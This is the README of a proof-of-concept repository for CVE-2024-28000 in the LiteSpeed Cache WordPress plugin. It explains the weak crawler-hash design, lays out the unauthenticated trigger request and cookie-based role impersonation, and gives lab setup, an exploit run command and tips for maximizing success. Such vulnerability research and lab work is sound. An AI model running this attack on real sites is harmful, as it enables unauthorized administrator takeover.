# CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC > [!WARNING] > This repository is intended **for educational and research purposes only**. > - Use the provided PoC **exclusively on systems you own** or have **explicit permission** to test. > - **Unauthorized access**, exploitation, or misuse of any material in this repository is **illegal**. > - The author(s) **assume no responsibility** for any damages, misuse, or legal consequences resulting from improper use. --- ## Overview CVE-2024-28000 is a **critical unauthenticated privilege escalation vulnerability** affecting the LiteSpeed Cache plugin for WordPress. The vulnerability stems from **a weak hash-based authentication mechanism** in the plugin's crawler role simulation feature, allowing a completely unauthenticated attacker to impersonate a WordPress administrator and take full control of the site. --- ## How the Vulnerability Works The LiteSpeed Cache plugin includes a crawler that pre-warms the site cache by visiting pages as different user roles. To authenticate the crawler, the plugin generates a short hash and stores it in the WordPress options table. Any request that presents this hash in a cookie is granted the user role specified in a second cookie. **Three design flaws combine to make this exploitable:** ### Flaw 1 - Unauthenticated Hash Trigger The AJAX action that generates the hash is registered for unauthenticated users with no capability or nonce check: ```php // src/router.cls.php add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']); public function async_litespeed_handler() { // No capability check // No nonce verification // Any visitor can call this $type = sanitize_key($_POST['litespeed_type'] ?? ''); if ($type === 'crawler') { $hash = Str::rrand(6); self::update_option(self::ITEM_HASH, $hash); } wp_die(); } ``` An attacker triggers this by sending: ``` POST /wp-admin/admin-ajax.php action=async_litespeed&litespeed_type=crawler ``` ### Flaw 2 - Predictable Hash (Seed Space of Only 1,000,000) The hash is generated using PHP's `mt_rand()` seeded with the microsecond component of the current time: ```php // src/str.cls.php public static function rrand($len, $type = 7) { mt_srand((int) ((float) microtime() * 1000000)); // seed = microseconds = 0 to 999,999 only $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $str = ''; for ($i = 0; $i < $len; $i++) { $str .= $charlist[mt_rand(0, strlen($charlist) - 1)]; } return $str; } ``` `microtime()` returns only the fractional second (e.g. `0.523847`). Multiplied by 1,000,000, this yields a seed between 0 and 999,999 - regardless of the time of day. An attacker who triggers hash generation themselves knows the approximate generation time, and can brute-force all 1 million seeds in minutes. ### Flaw 3 - No Rate Limiting on Verification The plugin verifies the hash on every request with a simple string comparison and no lockout or rate limiting: ```php // src/router.cls.php public function is_role_simulation() { if (empty($_COOKIE['litespeed_hash'])) return; $hash = self::get_option(self::ITEM_HASH); // Simple string compare - no rate limiting, no IP check, no lockout if ($_COOKIE['litespeed_hash'] !== $hash) return; $role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0; wp_set_current_user($role_id); // attacker becomes admin (ID = 1) } ``` ### Full Attack Flow ```mermaid sequenceDiagram participant A as Attacker participant W as LiteSpeed Cache / WordPress A->>W: POST /wp-admin/admin-ajax.php W->>W: Seed mt_rand() with microtime() W->>W: Generate & store litespeed_hash A->>A: Brute-force PRNG seed A->>A: Replicate PHP mt_rand() in Go A->>A: Recover litespeed_hash A->>W: Cookie: litespeed_hash= A->>W: Cookie: litespeed_role=1 W->>W: verify_hash() W->>W: wp_set_current_user(1) A->>W: POST /index.php?rest_route=/wp/v2/users W-->>A: Administrator account created A->>W: Login with new Administrator account Note over A,W: Full Site Compromise ``` --- ## Lab Setup ### Requirements - Docker - Go 1.21+ ### Installation ```bash # Clone the repository git clone https://github.com/AliHzSec/CVE-2024-28000.git # Change directory cd CVE-2024-28000 # Set your server IP ( replace with YOUR_ACTUAL_IP ): sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml # Build and start: cd lab && docker compose up -d --build # Watch setup progress: docker compose logs -f wordpress ``` Wait until you see: ``` ============================================================ Lab ready! Admin : http://YOUR_IP/wp-admin Login : admin / admin123 Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000) ============================================================ ``` --- ## Usage ### Run the Exploit ```bash cd expl && go run main.go -url http://TARGET_IP/ -threads 40 ``` ### Expected Output ``` ============================================================ CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC ============================================================ Target : https://TARGET_IP/ Seeds : 0 to 999999 (1000000 total) Threads : 40 Timeout : 5s ============================================================ [INF] Self-test passed - MT19937 output matches PHP (11 seeds verified) [INF] Sanity check passed - endpoint returns 401 for wrong hash [INF] Hash generation triggered successfully [INF] Waiting 1 second for hash to be stored... [INF] Starting brute-force with 40 threads... [INF] [Thread 5] Testing seed 100000 [INF] [Thread 7] Testing seed 150000 [INF] [Thread 9] Testing seed 200000 [INF] [Thread 3] Testing seed 50000 [INF] [Thread 27] Testing seed 650000 [INF] [Thread 25] Testing seed 600000 [INF] [Thread 11] Testing seed 250000 [INF] [Thread 21] Testing seed 500000 [INF] [Thread 17] Testing seed 400000 [INF] [Thread 19] Testing seed 450000 [INF] [Thread 13] Testing seed 300000 [INF] [Thread 31] Testing seed 750000 [INF] [Thread 15] Testing seed 350000 [INF] [Thread 1] Testing seed 0 [INF] [Thread 33] Testing seed 800000 [INF] [Thread 23] Testing seed 550000 [INF] [Thread 37] Testing seed 900000 [INF] [Thread 39] Testing seed 950000 [INF] [Thread 35] Testing seed 850000 [INF] [Thread 29] Testing seed 700000 [+] Hash cracked : 2M0Aty (seed: 554242) [+] Username : test_lab_user [+] Password : test_lab_pass [+] Login at : https://TARGET_IP/wp-login.php [INF] Completed in 2831.14s ``` > [!IMPORTANT] > **The hash has no expiry, but it can be regenerated by LiteSpeed's built-in crawler.** > - If the crawler is active (default interval: every 10 minutes), the hash stored in the database will be replaced automatically - causing the brute-force to fail since it is testing seeds for the old hash. > - If the crawler is disabled, the hash persists indefinitely and thread count only affects speed, not success. > - To maximize success rate: trigger the hash generation and run the exploit **immediately**, with as many threads as the target can handle. > - Signs that the hash was rotated mid-attack: all 1,000,000 seeds are exhausted with no result despite the sanity check passing at startup.